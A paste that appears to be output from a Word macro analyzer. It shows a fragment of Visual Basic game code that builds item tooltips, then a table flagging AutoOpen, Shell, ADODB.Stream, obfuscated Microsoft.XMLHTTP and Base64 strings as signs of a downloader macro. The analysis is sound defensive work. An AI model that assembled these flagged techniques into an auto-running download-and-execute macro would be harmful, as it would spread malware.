- St1 = St1 + CStr(ItemSuffix(Character.EquippedObject(TheObj).ItemSuffix).ModificationValue) + " Mana"
- Case 11
- St1 = St1 + CStr(ItemSuffix(Character.EquippedObject(TheObj).ItemSuffix).ModificationValue) + " Damage"
- Case 12
- St1 = St1 + CStr(ItemSuffix(Character.EquippedObject(TheObj).ItemSuffix).ModificationValue) + " Defense"
- Case 13
- St1 = St1 + CStr(ItemSuffix(Character.EquippedObject(TheObj).ItemSuffix).ModificationValue) + " Magic Defense"
- End Select
- St1 = St1 + ")" + vbCrLf
- Else
- End If
- End If
- Select Case Object(Character.EquippedObject(TheObj).Object).Type
- Case 6
- St1 = St1 + "[" + CStr(Character.EquippedObject(TheObj).Value) + "]"
- Case 11
- St1 = St1 + "Ammunition" & vbCrLf & "[" + CStr(Character.EquippedObject(TheObj).Value) + "]" & vbCrLf & "+" & Object(Character.EquippedObject(TheObj).Object).Modifier & " Damage"
- Case 1
- St1 = St1 + "Weapon (+" & Object(Character.EquippedObject(TheObj).Object).Modifier & " Damage)" & vbCrLf & "Condition: " & DurString(CurInvObj) & vbCrLf & GenerateRequirements(Character.EquippedObject(TheObj).Object)
- Case 10
- St1 = St1 + "Projectile Weapon (+" & Object(Character.EquippedObject(TheObj).Object).Modifier & " Damage)" & vbCrLf & GenerateRequirements(Character.EquippedObject(TheObj).Object)
- Case 2, 3, 4
- If Object(Character.EquippedObject(TheObj).Object).Type = 3 Then
- St1 = St1 + "Armor (+" & Object(Character.EquippedObject(TheObj).Object).Modifier & " Defense, +" & Object(Character.EquippedObject(TheObj).Object).Data2 & " Magic Defense)"
- ElseIf Object(Character.EquippedObject(TheObj).Object).Type = 4 Then
- St1 = St1 + "Helm (+" & Object(Character.EquippedObject(TheObj).Object).Modifier & " Defense, +" & Object(Character.EquippedObject(TheObj).Object).Data2 & " Magic Defense)"
- ElseIf Object(Character.EquippedObject(TheObj).Object).Type = 2 Then
- St1 = St1 + "Shield (+" & Object(Character.EquippedObject(TheObj).Object).Modifier & " Defense, +" & Object(Character.EquippedObject(TheObj).Object).Data2 & " Magic Defense)"
- End If
- St1 = St1 & vbCrLf & "Condition: " & DurString(CurInvObj) & vbCrLf & GenerateRequirements(Character.EquippedObject(TheObj).Object)
- Case 8
- If Object(Character.EquippedObject(TheObj).Object).Data2 = 0 Then
- St1 = St1 + "Ring (+" & Object(Character.EquippedObject(TheObj).Object).Modifier & " Damage)" & vbCrLf & "Condition: " & DurString(CurInvObj) & vbCrLf & GenerateRequirements(Character.EquippedObject(TheObj).Object)
- ElseIf Object(Character.EquippedObject(TheObj).Object).Data2 = 1 Then
- St1 = St1 + "Ring (+" & Object(Character.EquippedObject(TheObj).Object).Modifier & " Defense)" & vbCrLf & "Condition: " & DurString(CurInvObj) & vbCrLf & GenerateRequirements(Character.EquippedObject(TheObj).Object)
- ElseIf Object(Character.EquippedObject(TheObj).Object).Data2 = 2 Then
- St1 = St1 + "Ring (+" & Object(Character.EquippedObject(TheObj).Object).Modifier & " Magic Defense)" & vbCrLf & "Condition: " & DurString(CurInvObj) & vbCrLf & GenerateRequirements(Character.EquippedObject(TheObj).Object)
- End If
- End Select
- If ExamineBit(Object(Character.EquippedObject(TheObj).Object).Flags, 0) = 255 Then St1 = St1 + vbCrLf + "Cannot be repaired"
- If ExamineBit(Object(Character.EquippedObject(TheObj).Object).Flags, 2) = 255 Then St1 = St1 + vbCrLf + "Does not drop on death"
- If ExamineBit(Object(Character.EquippedObject(TheObj).Object).Flags, 3) = 255 Then St1 = St1 + vbCrLf + "Two Handed - Cannot use a shield"
- If ExamineBit(Object(Character.EquippedObject(TheObj).Object).Flags, 6) = 255 Then St1 = St1 + vbCrLf + "Cannot be traded"
- If Object(Character.EquippedObject(TheObj).Object).SellPrice > 0 Then St1 = St1 + vbCrLf + "Sells for " + CStr(Object(Character.EquippedObject(TheObj).Object).SellPrice) + " gold"
- SetObjectInfo St1
- Else
- frmMain.lblCurObj = vbNullString
- SetObjectInfo vbNullString
- End If
- End If
- End If
- End Sub
- +------------+----------------------+-----------------------------------------+
- | Type | Keyword | Description |
- +------------+----------------------+-----------------------------------------+
- | AutoExec | AutoOpen | Runs when the Word document is opened |
- | Suspicious | Open | May open a file |
- | Suspicious | Shell | May run an executable file or a system |
- | | | command |
- | Suspicious | Shell.Application | May run an application (if combined |
- | | | with CreateObject) |
- | Suspicious | RegCloseKey | May read or write registry keys |
- | Suspicious | CreateObject | May create an OLE object |
- | Suspicious | Chr | May attempt to obfuscate specific |
- | | | strings |
- | Suspicious | ADODB.Stream | May create a text file |
- | Suspicious | SaveToFile | May create a text file |
- | Suspicious | Write | May write to a file (if combined with |
- | | | Open) |
- | Suspicious | Microsoft.XMLHTTP | May download files from the Internet |
- | | | (obfuscation: VBA expression) |
- | Suspicious | Base64 Strings | Base64-encoded strings were detected, |
- | | | may be used to obfuscate strings |
- | | | (option --decode to see all) |
- | Suspicious | VBA obfuscated | VBA string expressions were detected, |
- | | Strings | may be used to obfuscate strings |
- | | | (option --decode to see all) |
- | VBA string | Microsoft.XMLHTTP | ("Microsoft" + ".XMLHTTP") |
- +------------+----------------------+-----------------------------------------+
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement